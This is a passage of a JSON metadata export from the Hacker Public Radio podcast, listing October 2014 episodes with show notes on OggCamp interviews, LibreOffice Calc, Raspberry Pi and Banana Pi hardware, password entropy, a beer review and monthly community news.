      Note: Lincoln LUG meets on the 3rd Wednesday of each month at the Lincoln Bowl. The interviews were conducted outside the bowl and some background noise can be heard, we hope this does not affect your enjoyment of this episode.

      \n","hostid":287,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interviews,linux,lug","version":0,"downloads":0,"valid":1}, {"id":1609,"date":"2014-10-02","title":"Sigil And The Process Of The Epub In FOSS","duration":2282,"summary":"lostnbronx rambles on and on about his current process for creating epubs using FOSS tools","notes":"

      \nHere are some links to the software discussed in this episode\n

      \n\n\n","hostid":107,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sigil, epub","version":0,"downloads":0,"valid":1}, {"id":1610,"date":"2014-10-03","title":"The BTRFS File System","duration":534,"summary":"The BTRFS File System","notes":"The BTRFS File System","hostid":129,"series":77,"explicit":1,"license":"CC-BY-SA","tags":"file system,copy-on-write,B-tree file system","version":0,"downloads":0,"valid":1}, {"id":1611,"date":"2014-10-06","title":"HPR Community News for September 2014","duration":3506,"summary":"Dave is at OggCamp, Ahuka and Ken struggle through the news.","notes":"

      New hosts

      \n

      \nWelcome to our new hosts:
      \n Steve Smethurst,\n 2BFrank,\n goPhir.\n

      \n\n

      Last Month's Shows

      \n\n \n\t\n\t\n\t\n\t\n\t\n\t\n \n \n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n \n
      IdDateTitleHost
      15862014-09-01HPR Community News for August 2014HPR Volunteers
      15872014-09-02Beginner's guide to the night sky 3 - A wee dot on a dark skyAndrew Conway
      15882014-09-03HPR AudioBookClub-09-Down And Out In The Magic KingdomHPR_AudioBookClub
      15892014-09-04KC MakerFair 2014MrGadgets
      15902014-09-05The xfs File SystemJWP
      15912014-09-08The Ultimate Cooking DevicePipeManMusic
      15922014-09-09An Open Source News Break from Opensource.comsemioticrobotic
      15932014-09-10Why C++?garjola
      15942014-09-11Steam and wine with linuxAndrew Conway
      15952014-09-1237 - LibreOffice Calc - More Financial FunctionsAhuka
      15962014-09-15About the Word \"Hack\"klaatu
      15972014-09-16Extravehicular ActivitySteve Smethurst
      15982014-09-17Hashing and Password SecurityAhuka
      15992014-09-18Interview with Ingmar Steiner from the MaryTTS projectKen Fallon
      16002014-09-19The zfs File SystemJWP
      16012014-09-22Howto Install LAMPklaatu
      16022014-09-23An Open Source News Break from Opensource.comsemioticrobotic
      16032014-09-24GUADEC 2014: Matthew Garrett Interview2BFrank
      16042014-09-25How I Got Into LinuxgoPhir
      16052014-09-2638 - LibreOffice Calc - simple Descriptive StatisticsAhuka
      16062014-09-29Howto VNCklaatu
      16072014-09-30Migrating from Drupal 6 to Nikolajohanv
      \n\n

      Comments this month

      \n\n

      There are 27 comments:

      \n
        \n
      • hpr1604\n(2014-09-25) \"How I Got Into Linux\"\nby goPhir.\n
          \n
        1. Christopher M Hobbs on 2014-09-30:\"What a great episode!\"
        2. \n

      • \n
      • hpr1601\n(2014-09-22) \"Howto Install LAMP\"\nby klaatu.\n
          \n
        1. tcuc on 2014-09-22:\"Great episode! \"
        2. \n
        3. Klaatu on 2014-09-29:\"The host responds\"
        4. \n

      • \n
      • hpr1599\n(2014-09-18) \"Interview with Ingmar Steiner from the MaryTTS project\"\nby Ken Fallon.\n
          \n
        1. laindir on 2014-09-19:\"This is me laughing\"
        2. \n
        3. Kevin O'Brien on 2014-09-20:\"Great show\"
        4. \n
        5. johanv on 2014-09-22:\"Dutch voice\"
        6. \n
        7. davidWHITMAN on 2014-09-23:\"Mary TTS\"
        8. \n

      • \n
      • hpr1598\n(2014-09-17) \"Hashing and Password Security\"\nby Ahuka.\n
          \n
        1. gigasphere on 2014-09-18:\"Great episode\"
        2. \n
        3. Kevin O'Brien on 2014-09-20:\"Thank you for the comment\"
        4. \n

      • \n
      • hpr1596\n(2014-09-15) \"About the Word \"Hack\"\"\nby klaatu.\n
          \n
        1. Ken Fallon on 2014-09-15:\"Let everyone be a hacker\"
        2. \n
        3. Michael on 2014-09-17:\"You nailed it!\"
        4. \n

      • \n
      • hpr1594\n(2014-09-11) \"Steam and wine with linux\"\nby Andrew Conway.\n
          \n
        1. johanv on 2014-09-16:\"Linux for the kids\"
        2. \n
        3. FreeLikeGNU on 2014-09-16:\"Open Spades\"
        4. \n
        5. Andrew Conway on 2014-09-20:\"[no title]\"
        6. \n

      • \n
      • hpr1593\n(2014-09-10) \"Why C++?\"\nby garjola.\n
          \n
        1. johanv on 2014-09-12:\"Very cool\"
        2. \n

      • \n
      • hpr1591\n(2014-09-08) \"The Ultimate Cooking Device\"\nby PipeManMusic.\n
          \n
        1. mordancy on 2014-09-30:\"lighting your charcoal chimney\"
        2. \n

      • \n
      • hpr1590\n(2014-09-05) \"The xfs File System\"\nby JWP.\n
          \n
        1. Jonathan on 2014-09-06:\"Great Show\"
        2. \n

      • \n
      • hpr1588\n(2014-09-03) \"HPR AudioBookClub-09-Down And Out In The Magic Kingdom\"\nby HPR_AudioBookClub.\n
          \n
        1. Stephen on 2014-09-03:\"re the reader\"
        2. \n
        3. Fifty OneFifty on 2014-09-09:\"Cast member areas of the Haunted Mansion Facade\"
        4. \n

      • \n
      • hpr1587\n(2014-09-02) \"Beginner's guide to the night sky 3 - A wee dot on a dark sky\"\nby Andrew Conway.\n
          \n
        1. chalkahlom on 2014-09-05:\"[no title]\"
        2. \n

      • \n
      • hpr1569\n(2014-08-07) \"Many-to-many data relationship howto\"\nby Mike Ray.\n
          \n
        1. Ken Fallon on 2014-09-03:\"How do you deal with tags\"
        2. \n
        3. Dave Morriss on 2014-09-03:\"Dealing with tags\"
        4. \n
        5. borgu on 2014-09-04:\"[no title]\"
        6. \n
        7. Mike Ray on 2014-09-04:\"Tags\"
        8. \n
        9. Mike Ray on 2014-09-04:\"More about tags\"
        10. \n

      • \n
      • hpr1458\n(2014-03-05) \"Free Culture and Open Animation\"\nby Seetee.\n
          \n
        1. Klaatu on 2014-09-09:\"Synfig\"
        2. \n

      • \n
      • hpr1400\n(2013-12-13) \"How We Use Linux\"\nby Honkeymagoo.\n
          \n
        1. Krayon on 2014-09-18:\"CalDAV etc\"
        \n
      • \n
      \n\n

      HPR At OggCamp

      \n

      \n\"HPR\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1612,"date":"2014-10-07","title":"Don't Forget the Referbs","duration":1211,"summary":"NYbill talks about a refurbished Lenovo and modifying it to his liking.","notes":"

      \nNYbill talks about getting a refurbished Lenovo X61 and making it more functional with a tool or two. There is also some talk of PLC's (Programmable Logic Controllers). A more in depth explanation of PLC's could be an episode in itself and might be some day. Stay tuned...\n

      \n

      \nPics for the episode:\nhttps://media.gunmonkeynet.net/u/nybill/collection/hacking-a-lenovo-x61/\n

      \n

      \nLenovo after market BIOS. Allows Ctrl-Fn swap in older systems. (Use at your own risk!):\nhttps://forum.notebookreview.com/lenovo/474396-fn-ctrl-swap-all-lenovo-laptops-solved.html\n

      ","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Lenovo,Lenovo X61,modification","version":0,"downloads":0,"valid":1}, {"id":1613,"date":"2014-10-08","title":"What's in a nickname?","duration":505,"summary":"Mikael talks about his Internet nickname.","notes":"

      \nHow I came to use Inscius as my Internet nickname.\n

      Links:

      \n

      \nhttps://en.wiktionary.org/wiki/inscius\n

      ","hostid":283,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"nickname,handle,name,domain","version":0,"downloads":0,"valid":1}, {"id":1614,"date":"2014-10-09","title":"An Open Source News Break from Opensource.com","duration":1265,"summary":"K-12 computer education, Karen Sandler on open source identity crisis, ChickTech's outreach efforts","notes":"

      \nIn this episode: An open-minded curriculum for K-12 computer education, Karen Sandler on open source's \"identity crisis,\" ChickTech's outreach efforts.\n

      \n

      \nLinks:\n

      \n\n","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"K-12 computer education,open source,ChickTech","version":0,"downloads":0,"valid":1}, {"id":1615,"date":"2014-10-10","title":"39 - LibreOffice Calc - Inferential Statistics Functions","duration":1212,"summary":"Inferential statistics is how we draw conclusions from data and make predictions.","notes":"

      Inferential statistics is what you do to say that something is likely, or that it is not due to chance, or things of the sort. It goes beyond simply describing what is in the numbers and lets you say something about what the numbers in a sample might mean for the population that generated the sample. There are several type of Inferential Statistics that I want to address in this tutorial, beginning with the idea of a confidence interval. - For more go to https://www.ahuka.com/?page_id=861

      \n ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, functions, inferential, statistics","version":0,"downloads":0,"valid":1}, {"id":1616,"date":"2014-10-13","title":"Howto Use Webfonts","duration":1236,"summary":"Klaatu reveals the secret of webfonts WITHOUT using Google","notes":"

      Klaatu reveals the secret of webfonts WITHOUT using Google. How can this be? Listen and find out.

      \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"font,CSS,font-face","version":0,"downloads":0,"valid":1}, {"id":1617,"date":"2014-10-14","title":"Spaceteam","duration":629,"summary":"A game of Spaceteam ","notes":"

      If this show only confuses you, search the Internet for the Android app Spaceteam, have some friends install it and start playing. To maximize the fun you preferably play in a public place.

      \n

      https://play.google.com/store/apps/details?id=com.sleepingbeastgames.spaceteam&hl=en

      ","hostid":288,"series":62,"explicit":1,"license":"CC-BY-SA","tags":"OggCamp, Spaceteam, Android, Game","version":0,"downloads":0,"valid":1}, {"id":1618,"date":"2014-10-15","title":"OggCamp Attendees","duration":839,"summary":"The first two interviews with OggCamp attendees ","notes":"

      \nThis show includes two interviews with OggCamp attendees this year. \n

      \n

      \nThe first interview is with TDTRS co-host Peter Cannon, who is convinced that his podcast is the best Linux podcast there is and he is sure going to tell you why.
      \nhttps://tdtrs.co.uk\n

      \n

      \nIn the second interview I talked to Alistair (whose name I hopefully spell correctly), who told me that he would like to be a HPR host himself. So this ist his first appearance on HPR and hopefully not the last. \n

      \n","hostid":288,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"oggcamp, interviews","version":0,"downloads":0,"valid":1}, {"id":1619,"date":"2014-10-16","title":"Bare Metal Programming on the Raspberry Pi (Part 1)","duration":3734,"summary":"This show is about how to program a Raspberry Pi with no operating system and no libraries.","notes":"

      \nThis show is about programming on a Raspberry Pi with on operating\nsystem or libraries. In this programming environment, the only software\nthat the CPU executes is the software that you write. This episode\nintroduces how to configure the build environment and get a basic\napplication up and running. From here one can leverage these techniques\nto build more sophisticated applications and deepen ones knowledge of\nsystems programming.\n

      \n

      \nHere is some of the source material that I used while working on this\nlittle learning experience.\n

      \n

      \ndwelch67's bare metal repository\n

      \n\n\n\n

      \nCATRPI\n

      \n\n
        \n
      • Homepage: https://gitorious.org/catrpi\n
      • \n
      • Git repo: git://gitorious.org/catrpi/catrpi.git\n
      • \n
      • My own repository of code that I wrote during this little project.\n
      • \n
      \n\n

      \nAdafruit USB to TTL cable\n

      \n\n\n\n

      \nScript to build the ARM toolchain\n

      \n\n\n\n

      \nARM ARM\n

      \n\n\n\n

      \nARM TRM\n

      \n\n\n\n

      \nRPI Schematics\n

      \n\n\n\n

      \nRPI Peripherals\n

      \n\n\n","hostid":259,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"programming,embedded systems,raspberry pi","version":0,"downloads":0,"valid":1}, {"id":1620,"date":"2014-10-17","title":"Passwords, Entropy, and Good Password Practices","duration":1293,"summary":"This episode explores the best password practices from a mathematical viewpoint with recommendations","notes":"

      \nRight now for most of us the key to any security in our online life is the degree of entropy in our passwords. So what is entropy, and how does it affect our passwords?\n

      \n

      \nEntropy is in general the degree of randomness or disorder in any given system. Sometimes it is very easy to assess, such as a password of 1234, which all too many people use. Because it is a simple sequence, there is no real randomness at all, and would be quickly guessed. And as we saw in the last tutorial, such passwords are quickly discovered in a dictionary attack. There are things you can do to make it less likely that your password will be cracked and used against you. - For more go to https://www.zwilnik.com/?page_id=530\n

      \n

      \nLinks:\n

      \n\n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"passwords, entropy","version":0,"downloads":0,"valid":1}, {"id":1621,"date":"2014-10-20","title":"OggCamp Interview with James Tait","duration":737,"summary":"A short interview with James Tait of Canonical. ","notes":"

      In today's show, Philip Newborough interviews James Tait of Canonical, the company behind Ubuntu.

      \n

      James talks about his work on the now defunct Ubuntu One project, and his current work with Ubuntu Phone. James is a super-nice guy, knowledgeable and very gracious. He was a pleasure to interview.

      \"James

      PICTURED: James Tait (right) with Mark Shuttleworth (left).

      \n

      The interview was conducted at OggCamp 14, a free culture unconference, held in Oxford UK on the weekend of October 4th-5th 2014.

      \n","hostid":287,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"interviews,linux,ubuntu,oggcamp","version":0,"downloads":0,"valid":1}, {"id":1622,"date":"2014-10-21","title":"An interview with Michael Tiemann","duration":3668,"summary":"An Open Source News Break from Opensource.com: An interview with Michael Tiemann","notes":"

      Links

      \n\n\n","hostid":280,"series":28,"explicit":1,"license":"CC-BY-SA","tags":"interview,open source","version":0,"downloads":0,"valid":1}, {"id":1623,"date":"2014-10-22","title":"Tech and Coffee at OggCamp","duration":1295,"summary":"Another set of OggCamp interviews. I talk to Keith Milner and George Doscher from Tech and Coffee.","notes":"

      In this episode of interviews from OggCamp 2014 I talk to George Doscher who co-founded (or founded, I really don't know) the Tech and Coffee Google Plus hangout. You'll find him at

      \n

      https://plus.google.com/+GeorgeDoscher

      \n

      and on Tech and Coffee under

      \n

      https://techandcoffee.info/

      \n

      In the second interview I talk to Keith Milner who has some interesting and fairly technical stuff to tell you about mobile networks. He also talks about unencrypted traffic on the carrier networks and why it's even more important for you to use encryption when using the web on your mobile. You find him under

      \n

      https://plus.google.com/+KeithMilner

      ","hostid":288,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"oggcamp, G+, Tech and Coffee","version":0,"downloads":0,"valid":1}, {"id":1624,"date":"2014-10-23","title":"Penguicon 2015 Call for Talks","duration":963,"summary":"I am looking for people who can present tech/FOSS talks at Penguicon 2015","notes":"

      I am the coordinator for the Tech Track at Penguicon 2015, which is a combined FOSS/Science Fiction convention held every spring in the Metro-Detroit area. The 2015 event will happen April 24-26 at the Westin Hotel in Southfield, MI. The theme for the upcoming year's event is Biotechnology and medicine, looking at how technology is affecting our health and life. But we want a lot of different talks as well, so I will be happy to accept proposals that look at things like cloud computing, security, hardware hacks, and anything else that would be of interest to geeks and hackers.

      \n

      Links:

      \n ","hostid":198,"series":96,"explicit":0,"license":"CC-BY-SA","tags":"Penguicon","version":0,"downloads":0,"valid":1}, {"id":1625,"date":"2014-10-24","title":"40 - LibreOffice Calc - Other Functions","duration":913,"summary":"A quick look at some miscellaneous functions in Calc.","notes":"

      We spent a lot of time looking at some Financial and Statistical functions. I don't propose to go into the remaining types of function in nearly the same depth. That would draw out the series without benefit to most people. But I do want to highlight some of the functions in the other categories so that you have an idea of what is possible in Calc. Remember that if you need to know more about them Google is your friend. - For more go to https://www.ahuka.com/?page_id=875

      \n ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, functions","version":0,"downloads":0,"valid":1}, {"id":1626,"date":"2014-10-27","title":"Opensource.com: Recalling OSCON 2014.","duration":1301,"summary":"The Opensource.com team recalls its experience at OSCON 2014","notes":"

      In this episode: Recalling OSCON 2014.

      \n

      18 interviews with speakers of upcoming OSCON 2014

      \n

      The O'Reilly Open Source Convention—or OSCON, as it's popularly known—is one of the world's premier open source events. For more than a decade, open-minded developers, innovators, and business people have gathered for this weeklong event, which explores cutting edge developments in the open source ecosystem. This year, Opensource.com visited OSCON, held July 20–July 24 at the Oregon Convention Center in Portland, OR (USA).

      \n

      Read more: https://opensource.com/business/14/7/speaker-interview-series-oscon-2014

      \n

      Open source talks: OSCON 2014 speaker interviews

      \n

      Eagerly awaiting another year of open source wonders, the Opensource.com community caught up with a handful of notable OSCON speakers to gather behind-the-scenes stories about their passions for open source. Our eBook book collects the interviews we conducted.

      \n

      Read more: https://opensource.com/resources/oscon-2014-interviews

      \n

      Keynotes from OSCON 2014 Day 1

      \n

      Our own Jason Hibbets and Jen Wike were live blogging from OSCON 2014! Day 1 talks include:

      \n
        \n
      • Shadaj Laddad: The wonders of programming
      • \n
      • Making a difference through open source
      • \n
      • Wendy Chisholm: Introvert? Extrovert? Klingon? We've got you covered.
      • \n
      • Bringing OpenStack based cloud to the enterprise
      • \n
      • Will Marshall: Building an API for the planet with a new approach to satellites
      • \n
      \n
      Read more: https://opensource.com/life/14/7/oscon-2014

      Keynotes from OSCON 2014 Day 2

      \n

      We're back with keynote coverage on Day 2 of OSCON 2014! Day 2 talks include:

      \n
        \n
      • Tim Bray: Threats
      • \n
      • Racing Change: Accelerating Innovation Through Radical Transparency
      • \n
      • Simon Wardly: Anticipating the futurean introduction to value chain mapping
      • \n
      • Checking Your Privilege: A How-To for Hard Things Leslie Hawthorn (Elasticsearch)
      • \n
      • Tim O'Reilly: What kind of world do we want to build?
      • \n
      \n
      Read more: https://opensource.com/business/14/7/keynotes-day-2-oscon-2014

      Keynotes from OSCON 2014 Day 3

      \n

      We're back with keynote coverage on Day 3 of OSCON 2014! Day 3 talks include:

      \n
        \n
      • Andrew Sorensen: The concert programmer
      • \n
      • Frank Willison Award for contributions to the Python community
      • \n
      • Beth Flanagan: Yes, your refrigerator is trying to kill you: Bad actors and the Internet of Things
      • \n
      • Ryan Vinyard: Open manufacturing: Bringing open hardware beyond 3D printing
      • \n
      • Rachel Nabors: Storytelling on the shoulders of giants
      • \n
      \n
      Read more: https://opensource.com/business/14/7/keynotes-oscon-2014-day-3","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"OSCON 2014,open source","version":0,"downloads":0,"valid":1}, {"id":1627,"date":"2014-10-28","title":"5150 Shades of Beer: 0001 He'Brew Hops Selection from Smaltz Brewing Company","duration":943,"summary":"Beer, drinking same","notes":"

      \nSmaltz Brewing Company - He'Brew (The Chosen Beer) Hops Collection\n

      \n

      \nDavid's Slingshot - Pours golden, like an American lager, large head that subsides, rye aroma. Blend of multi-grain malts, an emphasis on hops w/o being excessively hoppy. Citrus taste from the hops. Malts: Specialist 2-row, Carmel Pils, Rye Ale, Crystal Rye, Vienna, Wheat, Flaked Oats Hops: Cascade, SAAZ, Summit, Citra, Crystal\n

      \n

      \nGenesis Dry, so dry you could be excused for wanting a glass of water to go with your beer. Bready, not biscuity, like a fresh sourdough loaf, almost makes you want to spread butter over your beer. Just enough hops to be interesting rather than annoying. Just a little sweet on the back end, so subtle you'll likely miss it on the first sip. Watery mouth feel. 5.5% ACL. Malts: Specialty 2-row, Munich, Core Munich 40, Wheat, Dark Crystal Hops: Warrior, Centennial, Cascade, Simcoe\n

      \n

      \nBittersweet Lenny's R.I.P.A. Double Rye (an ode to comedian Lenny Bruce). Pours very dark amber, small head. Aroma of sweet rye bread. Sweet honey taste w/o being cloying, washed away by the hops. Strong rye flavor, much more than Slingshot. Malts: 2-row, Rye Ale Malt, Torrified Rye, Crystal Rye 75, Crystal Malt 80, Wheat, Kiln Amber, Core Munich 60 Hops: Warrior, Cascade, Simcoe, Saaz, Crystal, Chinook, Amarillo, Centennial\n

      \n

      \nHop Manna IPA Pours medium amber with a good head. Little distinct aroma. For the hops enthusiast who doesn't want other flavors getting in the way, but still not so hoppy that the hops get in the way of the hops. Hoppy enough to satisfy most hops heads without making your tongue feel like it is under assault from the Hop High Command. Malt: Specialty 2-row, Wheat, Munich, Vienna, Core Munich 60 HOPS: Warior, Cascade, Citra, Amarillo, Crystal, Centennial Dry Hop: Centennial, Cascade, Citra\nEven though hoppy beers aren't my preference, Smaltz/He'Brew were 4 out of 4 winners. If you see this brand, grab it with both hands. Even if I hated the beer, I'd be a fan because each bottle lists the malts and hops, giving the home brewer a shot at replicating the brew and the expert consumer a hint of what the beer is going to taste like before purchasing.\n

      ","hostid":131,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"5150 Shades of Beer,beer,ale","version":0,"downloads":0,"valid":1}, {"id":1628,"date":"2014-10-29","title":"OggCamp Interview with Peppertop Comics","duration":793,"summary":"A short interview with Mark of Peppertop Comics.","notes":"

      In today's show, Philip Newborough interviews Mark of Peppertop Comics. Peppertop Comics create free, open-source web comics. The comics are produced on Linux using Inkscape and MyPaint.

      \"The

      The interview was conducted at OggCamp 14, a free culture unconference, held in Oxford UK on the weekend of October 4th-5th 2014.

      \n","hostid":287,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"interviews,comics,oggcamp","version":0,"downloads":0,"valid":1}, {"id":1629,"date":"2014-10-30","title":"Banana Pi - First Impressions","duration":1012,"summary":"Banana Pi first impressions","notes":"

      The Banana Pi - First Impressions

      \n

      They say duplication is the sincerest form of flattery, substitute the word of your choice for 'duplication'.

      \n

      The Banana Pi is made in China and bears an uncanny resemblance to the Raspberry Pi.

      \n

      Not just the name, the board is fractionally larger, some of the features on the board are similarly placed:

      \n
        \n
      • 26-pin GPIO
      • \n
      • 3.5mm analogue audio jack
      • \n
      • RCA composite video jack
      • \n
      • SD card slot
      • \n
      \n

      There are things the RPI does not have:

      \n
        \n
      • Power button
      • \n
      • uBoot button
      • \n
      • Microphone
      • \n
      • USB-otg port (otg = on-the-go, a bi-directional USB port)
      • \n
      • SATA connector
      • \n
      \n

      The processor is a dual-core running slightly faster than the Raspberry Pi, although to be fair, of course, the RPI can be over-clocked.

      \n

      The Banana Pi has twice the RAM and a dual-core processor.

      \n

      The SoC is the ARM Allwinner A20.

      \n

      Getting my Hands on a Banana Pi

      \n

      My first Banana dropped through the letterbox a couple of days ago.

      \n

      Thanks to some kind soul on the Raspberry Pi Facebook group who described the connectors on the edges of the board I narrowly avoided plugging the power supply into the USB-otg port. The power micro-USB is on the underside of the board between the SATA power and data connectors which are on the upper side of the board.

      \n

      Can't really say much about it because I can't actually see the build quality, but it feels nice. The PCB is fractionally thinner than the RPI.

      \n

      Problems

      \n

      I had an initial struggle to find a download link for any images.

      \n

      The downloads page of lemaker.org has a two row table on it which appears to be upside-down and it has links to Google-drive, two different public DropBox links, a MS One-Drive link, and something I didn't initially find, an FTP link.

      \n

      Both of the DB links are duff because they have suspended the account because of excessive traffic.

      \n

      This is the FTP download link:

      \n
      https://filez.zoobab.com/bananapi/mirror/
      \n

      Available Images

      \n

      When I found the FTP page I grabbed images for:

      \n
        \n
      • Arch Linux
      • \n
      • Bananian-latest
      • \n
      • Lubuntu
      • \n
      • Raspbian
      • \n
      \n

      I downloaded and extracted all of these images to my Debian desktop machine and tried to write and boot them in succession.

      \n

      The first I tried was Arch, on the assumption that would not have a desktop installed.

      \n

      After writing the card I looked at it on my Debian machine with parted and it appeared to have two partitions. As with the Raspberry Pi there is a small FAT16 partition and a bigger ext4 partition.

      \n

      The FAT partition contained the same files as the Raspberry Pi:

      \n
        \n
      • config.txt
      • \n
      • cmdline.txt
      • \n
      • kernel.img
      • \n
      \n

      And some others I can't remember.

      \n

      In addition it contained:

      \n
        \n
      • uEnv.txt
      • \n
      • uImage
      • \n
      \n

      It appears uEnv.txt is equivalent to the Raspberry Pi cmdline.txt file, and uImage is, of course, the kernel.

      \n

      So oddly it has the files for the RPI and it's own in the FAT partition.

      \n

      Then I tried Bananian, and this appears to be Debian Wheazy for ARM.

      \n

      Similar story with the FAT partition.

      \n

      It is a very minimal installation which has little more than the Linux Standard Base (LSB) packages. I like this because I like to have control.

      \n

      Sound and Stuff

      \n

      I found a review from April this year that said the sound driver snd-bcm2835 was not available. At the name snd-bcm2835 my heart sank because I expected the BPI to have the same stuttering text-to-speech problems as the RPI.

      \n

      Not expecting much I did, as root:

      \n
      apt-get install alsa-base alsa-utils
      \n

      Looking through /lib/modules/... blah blah I found a driver called:

      \n
      snd-aaci.ko
      \n

      I did:

      \n
      modprobe snd-aaci
      \n

      And then:

      \n
      speaker-test
      \n

      And I got pink noise!

      \n

      Next I did:

      \n
      apt-get install espeakup\nupdate-rc.d espeakup defaults\nmodprobe speakup_soft
      \n

      And speakup burst into life with no stuttering!

      \n

      Immediate Conclusions

      \n

      The online community and code-base for the Banana Pi is not yet very mature, and because the origin of the beast is China, a lot of what's out there is in Chinese.

      \n

      But it is growing. And after all, it took the RPI a while to take off and go ballistic.

      \n

      At the moment I would say the Banana Pi is not for the faint-hearted or the total newbie, although, a lot of newbie questions are generic and don't have machine-specific answers.

      \n

      Links

      \n

      LeMaker page:

      \n
      https://www.lemaker.org/
      \n

      Australian community page with forums:

      \n
      https://www.bananapi.com/
      \n

      The worst thing about the Banana Pi is, when writing emails about it, and these show-notes, typing the word 'banana' and knowing when to stop!

      \n","hostid":282,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Banana Pi, Raspberry Pi, Linux","version":0,"downloads":0,"valid":1}, {"id":1630,"date":"2014-10-31","title":"Bare Metal Programming on the Raspberry Pi (Part 2)","duration":3024,"summary":"This episode discusses interrupt handling, and program loading using the Xmodem protocol","notes":"

      \nThe second episode in a series on bare metal programming on the Raspberry Pi. This episode builds on part 1 by showing how interrupts work on the RPIs ARM chip and the framework I created to manage them. It then goes on to describe\nhow an interrupt-enabled serial driver works. From there, the episode\nshows how we can use the serial cable in conjunction with a loader program\nto enable us to load bare-metal programs onto the RPI without having to\ncopy them to the SD card each time. In the process, the episode describes the\nXMODEM protocol that the loader users for the file transfer process.\n

      \n

      \nHere is some of the source material that I used while working on this\nlittle learning experience.\n

      \n\n

      Links

      \n\n","hostid":259,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"programming, embedded systems, raspberry pi","version":0,"downloads":0,"valid":1}, {"id":1631,"date":"2014-11-03","title":"HPR Community News for October 2014","duration":3124,"summary":"Discussions on the New Year show and more","notes":"

      New hosts

      \n

      \nWelcome to our new hosts:
      \n corenominal, \n beni.\n

      \n\n

      Last Month's Shows

      \n\n \n\t\n\t\n\t\n\t\n\t\n\t\n \n \n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n \n
      IdDateTitleHost
      16082014-10-01Interviews at Lincoln LUGcorenominal
      16092014-10-02Sigil And The Process Of The Epub In FOSSlostnbronx
      16102014-10-03The BTRFS File SystemJWP
      16112014-10-06HPR Community News for September 2014HPR Volunteers
      16122014-10-07Don't Forget the ReferbsNYbill
      16132014-10-08What's in a nickname?Inscius
      16142014-10-09An Open Source News Break from Opensource.comsemioticrobotic
      16152014-10-1039 - LibreOffice Calc - Inferential Statistics FunctionsAhuka
      16162014-10-13Howto Use Webfontsklaatu
      16172014-10-14Spaceteambeni
      16182014-10-15OggCamp Attendeesbeni
      16192014-10-16Bare Metal Programming on the Raspberry Pi (Part 1)Gabriel Evenfire
      16202014-10-17Passwords, Entropy, and Good Password PracticesAhuka
      16212014-10-20OggCamp Interview with James Taitcorenominal
      16222014-10-21An interview with Michael Tiemannsemioticrobotic
      16232014-10-22Tech and Coffee at OggCampbeni
      16242014-10-23Penguicon 2015 Call for TalksAhuka
      16252014-10-2440 - LibreOffice Calc - Other FunctionsAhuka
      16262014-10-27Opensource.com: Recalling OSCON 2014.semioticrobotic
      16272014-10-285150 Shades of Beer: 0001 He'Brew Hops Selection from Smaltz Brewing CompanyFiftyOneFifty
      16282014-10-29OggCamp Interview with Peppertop Comicscorenominal
      16292014-10-30Banana Pi - First ImpressionsMike Ray
      16302014-10-31Bare Metal Programming on the Raspberry Pi (Part 2)Gabriel Evenfire
      \n\n

      Comments this month

      \n\n

      There are 26 comments:

      \n
        \n
      • hpr1629\n(2014-10-30) \"Banana Pi - First Impressions\"\nby Mike Ray.\n
          \n
        1. Mike Ray on 2014-10-29:\"Clarification on my email address, nasty tts\"
        2. \n

      • \n
      • hpr1622\n(2014-10-21) \"An interview with Michael Tiemann\"\nby semioticrobotic.\n
          \n
